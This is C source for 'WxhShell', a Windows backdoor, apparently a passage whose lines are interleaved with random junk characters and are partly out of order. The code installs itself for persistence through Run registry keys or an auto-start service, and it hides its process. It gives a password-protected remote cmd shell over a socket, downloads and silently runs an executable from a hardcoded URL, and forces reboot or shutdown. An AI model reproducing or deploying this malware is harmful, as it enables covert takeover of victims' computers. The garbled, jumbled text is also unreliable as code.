    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oy90|.]G  
    if(Boot(SHUTDOWN)) mVGQyX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >/;V_(  
    else { nU$;W  
    closesocket(wsh); [4,=%ez  
    ExitThread(0); Nq>74q]}n8  
    } &-#!]T-P:E  
    break; qG.HJD  
    } :Mr_/t2(  
  // 获取shell 3P C'P2  
  case 's': { b;#Z/phix  
    CmdShell(wsh); ffo{ 4er  
    closesocket(wsh); =\7o@ 38  
    ExitThread(0); -~Kw~RX<(  
    break; ]Bw2>6W  
  } l;$HGoJ  
  // 退出 (C/2shr 8  
  case 'x': { @ ]u nqCO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !gv/jdF  
    CloseIt(wsh); F8S -H"  
    break; L~fx VdUz  
    } U CzIOxp}  
  // 离开 iTi]D2jC  
  case 'q': { `Y `Ujr\6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gV]]?X&  
    closesocket(wsh); 1t{h)fwi  
    WSACleanup(); [4'C4Zl  
    exit(1); >h>X/a(=~  
    break; !kZ9Ox9^  
        } 3# G;uWN-  
  } 4R-Y9:^t  
  } ]Ga}+^  
SBo>\<@  
  // 提示信息 Y3G$(+i8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D. !m*oq  
} k4iu`m@^H  
  } -miWXEe@l  
C=L_@{^Rgb  
  return; Gqvnc8V&  
} $@kGbf~k  
=pQA!u]QE  
// shell模块句柄 7r,'a{Rcn  
int CmdShell(SOCKET sock) 4G;FpWQm  
{ [|PVq#(  
STARTUPINFO si; x]|8  
ZeroMemory(&si,sizeof(si)); .8[B }S(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qUX   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L|4kv  
PROCESS_INFORMATION ProcessInfo; !HyPe"`oL  
char cmdline[]="cmd"; 6@kKr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qa 'YZE`  
  return 0; ?eD,\G  
} 5^lroC-(x  
F;p>bw  
// 自身启动模式 !<\"XxK+l  
int StartFromService(void) @cNBY7=  
{ SiJ0r @  
typedef struct J9J[.6k8  
{ /HR9(j6  
  DWORD ExitStatus; VXEA.Mko  
  DWORD PebBaseAddress; ??tyz4$;  
  DWORD AffinityMask; 5zXw0_  
  DWORD BasePriority; ]37k\O?vd  
  ULONG UniqueProcessId; 7n W*3(  
  ULONG InheritedFromUniqueProcessId; uJVu:E.#1  
}   PROCESS_BASIC_INFORMATION; EacqQFErl  
O8#}2  
PROCNTQSIP NtQueryInformationProcess; ZC+F*:$  
g7!P|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1{\{'EP{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V*P3C5 l  
7e$\|~<  
  HANDLE             hProcess; fRKO> /OT  
  PROCESS_BASIC_INFORMATION pbi; p] kpDx[9  
x  8lgDO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jR<yV  
  if(NULL == hInst ) return 0; f&=y\uP]  
`c@KlL*!Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q]Gym 7o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NQefrof  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {?*3Ou  
.m_yx{FZ=  
  if (!NtQueryInformationProcess) return 0; gzqx{ ]  
4Fhiac  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S^|Uzc  
  if(!hProcess) return 0; ^L}fj$  
xzF@v>2S+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fhqc[@Y[  
hU=n>g>nx  
  CloseHandle(hProcess); 0KqGJ :Ru  
AP.WTFf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rqk1 F~j|  
if(hProcess==NULL) return 0; z:f[<`,GT  
t{t*.{w  
HMODULE hMod; %v=z|d5-3  
char procName[255]; ^SnGcr|a'  
unsigned long cbNeeded; 0] e=  
VgG*y#Qf$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #mY*H^jI]~  
'9cShe  
  CloseHandle(hProcess); w^N xR,  
l +RT>jAmK  
if(strstr(procName,"services")) return 1; // 以服务启动 J<dr x_gc  
-+4:} sD  
  return 0; // 注册表启动 ($:s}_<>s  
} d K|6p_  
?,e7v.b  
// 主模块 c"R`7P  
int StartWxhshell(LPSTR lpCmdLine) eaP,MkK&  
{ Bv,u kQ\CH  
  SOCKET wsl; }8cL+JJU  
BOOL val=TRUE; m@o/W  
  int port=0; @f442@_4  
  struct sockaddr_in door; FEgM4m.(G<  
Ho[Kxe[c  
  if(wscfg.ws_autoins) Install(); +^$FA4<~  
t(/b'Peq  
port=atoi(lpCmdLine); Dg~r%F  
}R5>ja0  
if(port<=0) port=wscfg.ws_port; $h1`-=\7  
"R@N}q<*v2  
  WSADATA data; zOA{S~>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @? 4-  
88 ~BE ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JmB7tRM8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O o9 ePw7  
  door.sin_family = AF_INET; :3WrRT,'L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [)U|HnAJ  
  door.sin_port = htons(port); +')\,m "z  
^t4T8ejn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cv{>|g#  
closesocket(wsl); >mRA|0$  
return 1; s.z(1MB]  
} --E_s /   
bqpy@WiI S  
  if(listen(wsl,2) == INVALID_SOCKET) { xaQ]Vjw  
closesocket(wsl); ("UcjB^62  
return 1; "w ] Bq0  
} R,[ dEP  
  Wxhshell(wsl); $%!'c# F  
  WSACleanup(); o= VzVg  
+{Yd\{9  
return 0; h-u63b1"?  
n'a=@/  
} JK:i-  
ihjs%5Jo%  
// 以NT服务方式启动 MHo(j%I1E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V'(yrz!   
{ 7+wy`xi  
DWORD   status = 0; /IS_-h7>XS  
  DWORD   specificError = 0xfffffff; ^g/    
0Q>f,}W%>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (0/g)gW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %>^CD_[eO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0NlC|5ma)  
  serviceStatus.dwWin32ExitCode     = 0; LAqmM3{fA  
  serviceStatus.dwServiceSpecificExitCode = 0; @Bs7kjuX  
  serviceStatus.dwCheckPoint       = 0; A?[06R5E#  
  serviceStatus.dwWaitHint       = 0; ZN75ON L  
kj_ o I5<'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dizc#!IGU  
  if (hServiceStatusHandle==0) return; BUR96YN.  
/KD KA)  
status = GetLastError(); {RFpTh7f:  
  if (status!=NO_ERROR) %5<uQc9  
{ AA[(rw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gZbC[L  
    serviceStatus.dwCheckPoint       = 0; apsR26\^  
    serviceStatus.dwWaitHint       = 0; G3O`r8oZcJ  
    serviceStatus.dwWin32ExitCode     = status; j} ^?3<  
    serviceStatus.dwServiceSpecificExitCode = specificError; i?" ~g!A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J`/t;xk  
    return; bHx09F]  
  } +[386  
UYJMW S=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .f)&;Af^  
  serviceStatus.dwCheckPoint       = 0; [JI>e;l C:  
  serviceStatus.dwWaitHint       = 0; 1b*Me'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j >f  
} z|,YO6(L  
z8v]Kt&  
// 处理NT服务事件,比如:启动、停止 GZY8%.1{"a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) La&?0PA  
{ I =G3  
switch(fdwControl) >2Z0XEe  
{ Mrpz(})  
case SERVICE_CONTROL_STOP: .W4P/P w'  
  serviceStatus.dwWin32ExitCode = 0; -|s w\Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mO];+=3v8  
  serviceStatus.dwCheckPoint   = 0; 39 D!e&  
  serviceStatus.dwWaitHint     = 0; Cu*+E%P9`  
  { SM%N ]/@U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d.wu   
  } 2d1Z;@x  
  return; 5]_m\zn=  
case SERVICE_CONTROL_PAUSE: xz!b@5DR'%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1+wmR4o  
  break; KVQ^-^  
case SERVICE_CONTROL_CONTINUE: }4'5R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [ 6+iR  
  break; bs_>!H1  
case SERVICE_CONTROL_INTERROGATE: 4^4<Le-G  
  break; Udj!y$?  
}; KZ8Hp=s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3<Qe'd ^  
}  UZJ^ e$N  
!4"(>Rnw  
// 标准应用程序主函数 25e*W>SLw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *`D}voU  
{ IXjFK  
)\nKr;4MH  
// 获取操作系统版本 B49: R >  
OsIsNt=GetOsVer(); zVEG ) Hr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vr/UY79  
(2 nSZRB  
  // 从命令行安装 EI+RF{IKh  
  if(strpbrk(lpCmdLine,"iI")) Install(); An0Dq jR  
A kMP)\Q  
  // 下载执行文件 ZLP)i;Az  
if(wscfg.ws_downexe) { RCZ"BxleU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r{+P2MPW  
  WinExec(wscfg.ws_filenam,SW_HIDE); hJ~Na\?w  
} &m{SWV+   
tVI6GXH  
if(!OsIsNt) { 244[a] %&;  
// 如果时win9x,隐藏进程并且设置为注册表启动 4gR;,%E\TO  
HideProc(); !TNp|U!  
StartWxhshell(lpCmdLine); &TgS$c5k  
} q4y P\B  
else *'?aXS -'r  
  if(StartFromService()) bCa%$  
  // 以服务方式启动 +( Q$GO%  
  StartServiceCtrlDispatcher(DispatchTable); kZb #k#  
else asEk 3  
  // 普通方式启动 w.7p D  
  StartWxhshell(lpCmdLine); KM-d8^\:  
1>~bzXY#  
return 0; 0H9UM*O  
} G4&vrM,f  
pL [JGn  
\&!qw[;O  
k-V3l  
=========================================== &\Ze<u  
]Rk4"i  
-eE r|Gs)  
.}n-N #  
19h@fA[:  
#gq!L  
" ?hC,49  
Lg%3M8-W~  
#include <stdio.h> nrEG4X9  
#include <string.h> e=ITAH3b  
#include <windows.h> VTUY#+3  
#include <winsock2.h> 0<3->uK  
#include <winsvc.h> }xa~U,#5  
#include <urlmon.h> L'?7~Cdls  
l('@~-Zy  
#pragma comment (lib, "Ws2_32.lib") mz>GbImVD~  
#pragma comment (lib, "urlmon.lib") 'w$jVX/  
FF5|qCV/z  
#define MAX_USER   100 // 最大客户端连接数 IGnP#@`5]  
#define BUF_SOCK   200 // sock buffer 5eLm  
#define KEY_BUFF   255 // 输入 buffer SSQB1c  
luWr.<1  
#define REBOOT     0   // 重启 urbSprdF  
#define SHUTDOWN   1   // 关机 TCWt3\  
>%\&tS'  
#define DEF_PORT   5000 // 监听端口 M*gbA5  
ln1!%B;  
#define REG_LEN     16   // 注册表键长度 6*&$ha}X  
#define SVC_LEN     80   // NT服务名长度 F tS"vJ\  
73p7]Uo  
// 从dll定义API ''Y'ZsQ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `R!%k]$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L*#W?WMM v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *)Us   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8a8CY,n{  
31GqWN`>$  
// wxhshell配置信息 M!Ua/g=u  
struct WSCFG { # 4&t09  
  int ws_port;         // 监听端口 14pyHMOR  
  char ws_passstr[REG_LEN]; // 口令 vojXo|c  
  int ws_autoins;       // 安装标记, 1=yes 0=no e"(SlR  
  char ws_regname[REG_LEN]; // 注册表键名 c5em*qCw$  
  char ws_svcname[REG_LEN]; // 服务名 y*#YIS56I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 71+ bn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |!q,J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 elGwS\sw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -=W Qed}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s-801JpiJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LrH"d  
64UrD{$o  
}; oTN:Q"oK7?  
h!mx/Hx  
// default Wxhshell configuration ]3Y J a  
struct WSCFG wscfg={DEF_PORT, QOR92}yC  
    "xuhuanlingzhe", /O}lSXo6E  
    1, WYN0,rv1:+  
    "Wxhshell", iLt2L;v>h  
    "Wxhshell", j  Gp&P  
            "WxhShell Service", 3y%,f|ju  
    "Wrsky Windows CmdShell Service", LC, 6hpmh  
    "Please Input Your Password: ", Bra}HjHO  
  1, w9w=2 *  
  "http://www.wrsky.com/wxhshell.exe", Ge`PVwn  
  "Wxhshell.exe"  X`20=x  
    }; >{)\GK0i 7  
-V&nlP  
// 消息定义模块 ~l8w]R3A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JT! Cb$!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~p`[z~|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |ju+{+  
char *msg_ws_ext="\n\rExit."; <U y $b4h  
char *msg_ws_end="\n\rQuit."; M%YxhuT0  
char *msg_ws_boot="\n\rReboot..."; eiQ42x@Z  
char *msg_ws_poff="\n\rShutdown..."; (?x R<]~g*  
char *msg_ws_down="\n\rSave to "; +bGO"*  
$|tk?Sps  
char *msg_ws_err="\n\rErr!"; #p<(2wN  
char *msg_ws_ok="\n\rOK!"; _fdD4-2U  
jmG)p|6  
char ExeFile[MAX_PATH]; }` YtXD-o  
int nUser = 0; R; ui 4wg6  
HANDLE handles[MAX_USER]; 7~~suQ{F4  
int OsIsNt; kni{1Gr  
Iqci}G%r  
SERVICE_STATUS       serviceStatus; :*ZijN*{)$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VHi'~B#'*  
*P/DDRq(2  
// 函数声明 Ss3~X90!*B  
int Install(void); Q?bCQZ{-Lh  
int Uninstall(void); %ol\ sO|  
int DownloadFile(char *sURL, SOCKET wsh); =$y;0]7Lwi  
int Boot(int flag); 8,IQ6Or|-2  
void HideProc(void); ]XASim:A  
int GetOsVer(void); ~d3|zlh  
int Wxhshell(SOCKET wsl); cw,|,uXq 6  
void TalkWithClient(void *cs); ]K'OH&  
int CmdShell(SOCKET sock); 0RjFa;j  
int StartFromService(void); o!lKP>  
int StartWxhshell(LPSTR lpCmdLine); AyNpY_B0c  
5,pEJ>dDD3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pD!j#suMA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <=Saf.  
'jXJ!GFw  
// 数据结构和表定义 f _Hh"Vh  
SERVICE_TABLE_ENTRY DispatchTable[] = 8!b>[Nsc  
{ 0#NbAMt  
{wscfg.ws_svcname, NTServiceMain}, D~FIv  
{NULL, NULL} Y>T<Qn^D  
}; ::_bEmk  
J/QqwoR  
// 自我安装 2tg07  
int Install(void) !ALq?u  
{ >@h#'[z,d  
  char svExeFile[MAX_PATH]; 9{}"tk5$h  
  HKEY key; o@hj.)u  
  strcpy(svExeFile,ExeFile); H& $M/`  
 6HPuCP  
// 如果是win9x系统,修改注册表设为自启动 LLFQ5py{  
if(!OsIsNt) { * H~=dPC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [%P[ x]-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f1S% p  
  RegCloseKey(key); B6j/"x6N15  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]4r&Q4d>O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c_>AbF{  
  RegCloseKey(key); ]a`"O  
  return 0; |S~$IFN4  
    } K"[\)&WBG  
  } +tlBOl $  
} Ljiw9*ZI  
else { >xA( *7  
ArjRoXDE  
// 如果是NT以上系统,安装为系统服务 OnU-FX<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'BUfdb8d  
if (schSCManager!=0) &'`ki0Xh;  
{ NHQoP&OG  
  SC_HANDLE schService = CreateService q{%~(A5*H  
  ( H )>3c1  
  schSCManager, t>OEzUd9  
  wscfg.ws_svcname, $=X>5B  
  wscfg.ws_svcdisp, yeMe2Zx  
  SERVICE_ALL_ACCESS, `\P1Ff@z0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bPif"dhHe  
  SERVICE_AUTO_START, ?D,j!Hy  
  SERVICE_ERROR_NORMAL, aI=Q_}8-  
  svExeFile, Nc HU)  
  NULL, DAg*  
  NULL, orYZ<,u  
  NULL, U<r!G;^`  
  NULL, =.OzpV)=V  
  NULL mfF `K2R  
  ); XH(-anU"!P  
  if (schService!=0) Y DW^N] G  
  { $BT[fJ'k  
  CloseServiceHandle(schService); cW_l|  
  CloseServiceHandle(schSCManager); WJ)4rQ$o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .LDp.#d9r1  
  strcat(svExeFile,wscfg.ws_svcname); Kv:Rvo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f`*VNB`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WgG$ r  
  RegCloseKey(key); miTff[hsMa  
  return 0; I;1)a4Xc4R  
    } 2ga8 G4dU  
  } SkC.A ?  
  CloseServiceHandle(schSCManager); ~{);Ab.9+  
} -E3cS  
} s|:1z"q  
uL@%M8n  
return 1; DF>tQ  
} \YFM5l;IU  
OHW|?hI=[  
// 自我卸载 @ULWVS#t2  
int Uninstall(void) /2hRL yeAZ  
{ Q&+)Kp]A  
  HKEY key; ?RIf0;G  
h@'CmIZc  
if(!OsIsNt) { :>o 0zG[;f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 , _b  
  RegDeleteValue(key,wscfg.ws_regname); Ycx}FYTY  
  RegCloseKey(key); xt IF)M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +V9xKhR;x  
  RegDeleteValue(key,wscfg.ws_regname); s? Xgo&rS_  
  RegCloseKey(key); `iN\@)E  
  return 0; Jf0i$  
  } |:Maa6(W  
} 0*9xau{(  
} ho B[L}<c  
else { nz'6^D7`r  
KF5r?|8 M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @|sBnerE  
if (schSCManager!=0) ,!LY:pMK  
{ Mu-kvgO`L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Owgy<@C  
  if (schService!=0) w El-  
  { CEBG9[|  
  if(DeleteService(schService)!=0) { `m8WLj  
  CloseServiceHandle(schService); Pa+_{9  
  CloseServiceHandle(schSCManager); !f&hVLs0  
  return 0; `u7^r^>A  
  } RHpjJZUV  
  CloseServiceHandle(schService); R*FDg;t4  
  } C"mWO Y2]  
  CloseServiceHandle(schSCManager); lN8l71N^  
} 6w(r}yO]  
} En#Q p3  
_d!o,=}  
return 1; $-~"G,;F  
} ,nCvA%B!  
CWRB/WH:  
// 从指定url下载文件  +Mhk<A[s  
int DownloadFile(char *sURL, SOCKET wsh) %W2U$I5  
{ f [.'V1  
  HRESULT hr; RLL%l  
char seps[]= "/"; A%7f;&x!  
char *token; hW/Ve'x[  
char *file; (i1x<  
char myURL[MAX_PATH]; WHOX<YJs  
char myFILE[MAX_PATH]; Iz-mUD0;  
-^(KGu&L&u  
strcpy(myURL,sURL); ='=4tj=z  
  token=strtok(myURL,seps); '1xhP}'3)  
  while(token!=NULL) C2\WvE%!  
  { EY3F9h3xM|  
    file=token; 4\p%|G^hU  
  token=strtok(NULL,seps); 8O(L;&h  
  } tLN^k;w  
3 =c#LUA`  
GetCurrentDirectory(MAX_PATH,myFILE); z$}9f*W}B  
strcat(myFILE, "\\"); zK1]o-wSAT  
strcat(myFILE, file); I1l^0@J   
  send(wsh,myFILE,strlen(myFILE),0); H?M:<q0|G  
send(wsh,"...",3,0); tPN CdA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &WL::gy_S  
  if(hr==S_OK) ^k$Bx_{  
return 0; O6 s3#iu  
else b SgbvnJ  
return 1; HS ]c~  
/':64#'  
} /'E[03I~  
J~om e7L  
// 系统电源模块 {fHY[8su0  
int Boot(int flag) )bL(\~0g~  
{ n-],!pL^  
  HANDLE hToken; ? daxb  
  TOKEN_PRIVILEGES tkp; 2kDv (".  
-K(d]-yv  
  if(OsIsNt) { Zlh 2qq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C& XPn;f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _j3rs97@|  
    tkp.PrivilegeCount = 1; #Ha"rr46p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z!^>!' Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s^IC]sW\%  
if(flag==REBOOT) { r\F2X J^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4b;*:C4?  
  return 0; ]h' 38W  
} .-mIU.Nwi  
else { DO~[VK%|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )?{!7/H F@  
  return 0; WQze|b %  
} 9L3P'!Z  
  } WLw i  
  else { eyp_.1C~  
if(flag==REBOOT) { IDD`N{EA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TQNdBq5I6  
  return 0; 89GW!  
} S;gy:n!t  
else { QKx(S=4jQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) im9EV|;  
  return 0; pU<J?cU8N  
} bc~$"  
} 9&Un|cr  
T+zhj++  
return 1; TbT/ 5W3  
} 8-7Ml3G*  
EW vhT]<0  
// win9x进程隐藏模块 +HRtuRv0T  
void HideProc(void) =q)+_@24>d  
{ (Cq 38~mR  
?wv3HN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vn:v{-i  
  if ( hKernel != NULL ) \9tJ/~   
  { +;,J0,Yn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WQ.{Ag?1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t?)]xS)  
    FreeLibrary(hKernel); 8IWT;%  
  } ]3,  
DO-M0L  
return; ?E V^H-rr  
} Lb<IEy77\  
x|Pz24yP9  
// 获取操作系统版本 IemhHf ^l  
int GetOsVer(void)  4q7H  
{ 4|I;z  
  OSVERSIONINFO winfo; Ja4M@z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %saP>]o  
  GetVersionEx(&winfo); }qoId3iY!7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r(Z?Fs/  
  return 1; Gf9sexn]l  
  else &Ejhw3Nw  
  return 0; B hx.q,X  
} mLkp*?sfC  
'jE/Tre^  
// 客户端句柄模块 (jhi<eV  
int Wxhshell(SOCKET wsl) KWD{_h{R  
{ y( 22m+B  
  SOCKET wsh; X"`[&l1  
  struct sockaddr_in client; _z%~ m2SP  
  DWORD myID; bXc*d9]  
lX2:8$?X  
  while(nUser<MAX_USER) 0<uLQVoR2n  
{ mbX'*up  
  int nSize=sizeof(client); iRkUL]H@&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <oT1&C{  
  if(wsh==INVALID_SOCKET) return 1; B6TE9IoSb8  
5{+2#-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }:{ @nP  
if(handles[nUser]==0) YT'V/8US  
  closesocket(wsh); i M MKA0JM  
else j7a }<\  
  nUser++; _unoDoB  
  } cpw=2vnD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;Gn>W+Ae M  
_[(EsIqc(F  
  return 0; Pw]r&)I`y[  
} nsXG@CS:  
z)v o  
// 关闭 socket LWhy5H;Es  
void CloseIt(SOCKET wsh) [*(1~PrlO,  
{ 1BW9,Xr  
closesocket(wsh); jVOq/o  
nUser--; 'q~<ZO  
ExitThread(0); 40`Qsv0#  
} aJjUy%  
/=AFle2(  
// 客户端请求句柄 3)o>sp)Ji$  
void TalkWithClient(void *cs) [.xc`CF  
{ SB('Nqih  
6)ZaK  
  SOCKET wsh=(SOCKET)cs; 3dbaCusT$  
  char pwd[SVC_LEN]; :*[mvF  
  char cmd[KEY_BUFF]; 2_3os P\Z  
char chr[1]; v5pkP  
int i,j; c /^:vTF  
F;_o `h  
  while (nUser < MAX_USER) { Qx|HvT2P  
toPFkc6`  
if(wscfg.ws_passstr) { LE5N2k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :%Iv<d<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I8T*_u^_  
  //ZeroMemory(pwd,KEY_BUFF); Ah@e9`_r  
      i=0; [Y.JC'F#  
  while(i<SVC_LEN) { g$"x,:2x{  
ujBm"p_|  
  // 设置超时 B:UPSX)A  
  fd_set FdRead; K8-1?-W  
  struct timeval TimeOut; R1Q,m  
  FD_ZERO(&FdRead); U,T#{  
  FD_SET(wsh,&FdRead); iR{@~JN=)  
  TimeOut.tv_sec=8; 4G;KT~Cgb  
  TimeOut.tv_usec=0; |T"j7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k'&1,78[l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mC\<fo-u  
?6ssSjR}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;w]1H&mc*A  
  pwd=chr[0]; :(/1,]bF  
  if(chr[0]==0xd || chr[0]==0xa) { }QQl.'  
  pwd=0; ~l] w=[ z  
  break; {6Nbar@3  
  } L7GNcV]c  
  i++; b%"/8rK  
    } ` -SC,qHw  
DoO ;VF  
  // 如果是非法用户,关闭 socket f>cUdEPBb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |?^N@  
} ;O~FiA~`c  
>0 o[@gJl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5%V(eR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qM 1ZCt  
aL;zN%Tw  
while(1) { 2sG1Hox  
CK4#ZOiaa  
  ZeroMemory(cmd,KEY_BUFF); jgXr2JQ<  
&dj/Dq@  
      // 自动支持客户端 telnet标准   edpRx"_  
  j=0; 3xP<J)S0  
  while(j<KEY_BUFF) { #n.v#FyNx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IQ~Anp^R  
  cmd[j]=chr[0]; 8::y5Yv]  
  if(chr[0]==0xa || chr[0]==0xd) { Lp}V 94xT  
  cmd[j]=0; !H c6$  
  break; &6Lh>n(  
  } ;"EDFH#W  
  j++; SJLs3iz_)  
    } "W4|}plnu  
Yh"9,Z&wiR  
  // 下载文件 ngd4PN>{4  
  if(strstr(cmd,"http://")) { i Pl/I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [4B (rra  
  if(DownloadFile(cmd,wsh)) vfhoN]v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/JXI?K  
  else P@5-3]m=  
